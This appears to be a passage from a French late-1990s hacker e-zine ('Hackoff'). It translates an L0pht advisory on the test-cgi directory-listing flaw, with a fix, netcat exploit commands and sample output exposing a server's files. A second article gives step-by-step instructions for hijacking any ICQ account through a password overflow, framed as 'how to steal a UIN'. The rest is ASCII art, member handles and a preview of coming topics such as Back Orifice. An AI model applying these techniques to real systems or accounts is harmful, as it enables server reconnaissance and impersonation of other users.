Traduction, modifications, expansion, detonation, reaction en chaine: yopyop Correction, aide subliminale, et savate par: tobozo Auteurs:Plein plein plein... Le pemier Advisory a ete fait par L0pht cgi-testmail: mudge@l0pht.com Vulnerabilites de "test-cgi" dans certaines configurations Programmes Affectes: les scripts test-cgi qui peuvent etre trouves sur differents serveurs web. Severite: Tout le monde peut faire un inventaire des fichiers presents sur le serveur. Contenu: Sur de nombreux sites web se trouve un fichier appelle test-cgi (en general dans le repertoire cgi-bin ou similaire). Il existe un probleme sur la plupart de ces fichiers test-cgi. Administrateurs et Webmasters, si votre fichier test-cgi contient la ligne suivante, alors vous etes probablement vulnerable (aie). echo QUERY_STRING = $QUERY_STRING Toutes les lignes de ce type devraient avoir les variables fermees par des guillemets ("). Sans ces guillemets, certains caracteres (en particulier '*') peuvent etre utilises, alors qu'il ne devraient pas. Par consequent, en soumettant une requete '*' retournera tous les fichiers du repertoire courant... On pourra donc voir tous les autres fichiers cgi utilises par le site :). Une requete '/*' retournera tous les fichiers et repertoires presents a la racine. Et ainsi de suite... La maniere la plus simple de lister les repertoires et fichiers est par la variable QUERY. Toutefois, il est possible de faire la meme chose avec d'autres variables ($REMOTE_HOST, $REMOTE_USER, etc.). Reparation: La plus simple solution pour corriger ce probleme est de placer des guillemets autour de chaque variable (guillemets qui auraient du s'y trouver depuis le debut...) : echo QUERY_STRING = "$QUERY_STRING" Le fichier incorrect a ete vu dans de nombreuses versions de NCSA, et Apache. Exemple d'exploit: nc egal a netcat (un utilitaire du type telnet, mais avec beaucoup plus de possiblites...), si vous ne le possedez pas il faut vous le procurer absolument! Vous pouvez toutefois faire un telnet sur le port 80 et faire un GET. ------------------ machine% echo "GET /cgi-bin/test-cgi?/*" | nc gros.naze.com 80 CGI/1.0 test script report: argc is 1. argv is /\*. SERVER_SOFTWARE = NCSA/1.4.1 SERVER_NAME = du.con.com GATEWAY_INTERFACE = CGI/1.1 SERVER_PROTOCOL = HTTP/0.9 SERVER_PORT = 80 REQUEST_METHOD = GET HTTP_ACCEPT = PATH_INFO = PATH_TRANSLATED = SCRIPT_NAME = /bin/cgi-bin/test-cgi QUERY_STRING = /a /bin /boot /bsd /cdrom /dev /etc /home /lib /mnt /root /sbin /stand /sys /tmp /usr /usr2 /var REMOTE_HOST = remote.machine.com REMOTE_ADDR = 255.255.255.255 REMOTE_USER = AUTH_TYPE = CONTENT_TYPE = CONTENT_LENGTH = ------------------ Ou encore pour voir les autres cgi present sur le serveur: ------------------ machine% echo "GET /cgi-bin/test-cgi?*" | nc gros.naze.com 80 CGI/1.0 test script report: argc is 1. argv is \*. SERVER_SOFTWARE = NCSA/1.4.1 SERVER_NAME = gros.naze.com GATEWAY_INTERFACE = CGI/1.1 SERVER_PROTOCOL = HTTP/0.9 SERVER_PORT = 80 REQUEST_METHOD = GET HTTP_ACCEPT = PATH_INFO = PATH_TRANSLATED = SCRIPT_NAME = /bin/cgi-bin/test-cgi QUERY_STRING = calendar cgi-archie cgi-calendar cgi-date cgi-finger cgi-fortune cgi-lib.pl imagemap imagemap.cgi imagemap.conf index.html mail-query mail-query-2 majordomo majordomo.cf marker.cgi menu message.cgi munger.cgi munger.note ncsa-default.tar post-query query smartlist.cf src subscribe.cf test-cgi uptime REMOTE_HOST = remote.machine.com REMOTE_ADDR = 255.255.255.255 REMOTE_USER = AUTH_TYPE = CONTENT_TYPE = CONTENT_LENGTH = Et voila, vous vous retrouvez avec la liste de tous les scripts integres au serveurs, certains etant livres avec le package CGI, d'autres appartenant a des utilisateurs ou meme au webmaster, et il ne vous reste plus qu'a passer en phase d'exploration.¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸
_ _______________________________________ _ -*6*- `^°*;:,.> ICQ Password comment voler un UIN <.,:;*°^` ___________________/¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\_____________________Sujet: Gros trou de securite d'icq. Il est possible de se connecter sur les serveurs ICQ sous le compte de n'importe qui sans avoir a connaitre son mot passe ce qui aboutit a toutes sortes de compromis. Et il ne s'agit *pas* simplement de spoofing. Comment ca marche : Le serveur aol (pardon, mirabilis) utilise un password de 8 caracteres. Les clients effectuent la verification du compte et envoient seulement des passwords de 8 caracteres ou moins. Le clones de linux -le mien en particulier- ne font pas ca. Quand un password de 9 caracteres ou plus est envoye, leur buffer se prend un over-run dans la tronche et autorise le logon (vous me suivez?) L'exploit : En telechargeant n'importe quel clone de ICQ (exemple: http://hookah.ml.org/zicq) Entrez l'uin de la cible Enrez un password comme "123456789" <-- Juste assez large pour faire l'overflow Demarrez le programme ICQ. Si tout va bien, il se loggue et se connecte en tant que cet utilisateur. Tous les messages en attente vous arriveront. Vous pouvez maintenant envoyer et recevoir comme si vous etiez la cible. Notes: Il ne s'agit PAS de spoofing, vous etes loggues exactement en tant que cet UIN. Cela fonctionne sur tous les UIN, du moment que l'uin en question n'est pas deja loggue. Mirabilis / AOL ont vraiment besoin de fixer ce probleme... NDT : a l'heure qu'il est Mirabilis a desactive la possibilite de changer le mot de passe en utilisant cette methode. Le seul effet de cet exploit est donc de pouvoir temporairement voler un UIN. Une question subsiste neanmoins : peut on changer les infos personnelles ? Si vous avez la reponse, ecrivez nous. Traduction Yopyop & Tobozo(c'etait vraiment dur!) ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ The end Pas de jargon file dans cette edition. The Hackoff #16 est deja sur le feu a l'heure ou j'ecris ces lignes. Je n'ai pas le temps d'ecrire d'articles en ce moment car je recois les textes une telle vitesse qu'il est difficile de suivre (surtout avec un site web a manager..). Les sujets du prochain hackoff sont : -Back orifice nouvelles versions (europeene et americaine) -Comment creer ses propres paquets ICQ -Differents types d'intrusions -Suite de l'IRC-hack tutorial. -Jargon file ________________________________________________________________________________ ¬®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦§¨©ª«¬®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦§¨©ª«¬¡¢£¤¥ ¦§¨©ª«¬ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ -{\________________________/}- ~~ ~~ ~~ ~~°ºØø¦ ¿ H A C K 0 F F ? ¦øغ°~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~-{/¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\}-~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~ http://come.to/legang ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~ ~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~ http://come.to/yopyop ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~ ~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~ http://members.tripod.com/hackoolic ~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~ ~ ~~ ~~ ~~ ~~ ...Des commentaires, des questions, des insultes, ecrivez aux membres du gang... _________________________________________________________________________________ ¬®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦§¨©ª«¬®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦§¨©ª«¬¡¢£¤¥ ¦§¨©ª«¬ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ ,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, _____________________________________ ((((((( H@CK-OFF !! )))))))) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~ ~ ¤º°`°º ¤º°`°º ¤º°`°º ~ ~ ~ ~ | SE | - | RI | - | AL | ~ ~ ~ ~ | SA | - | VA | - | TE | ~ ~ ~ ~ | SY | - | ST | - | EM | ~ ~ ~ ~ ø,¸¸,ø ø,¸¸,ø ø,¸¸,ø ~ ~ Cakeii - Tobozo - Yopyop - Silk - Nk Sniffdoz - Aolshame - Misto - Blured ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ { \|/ >http://come.to/legang 8 -- * -- >silk@silk.cut { /|\ cakeii@usa.net nk01@n0past.com tobozo@biosys.net misto@bigfoot.com sniffdoz@yahoo.com yopyop@webmails.com blured75@hotmail.com aolshame@softhome.net emminence@earthling.net ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, / O o O o O o \ \ O O O / º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [EOF]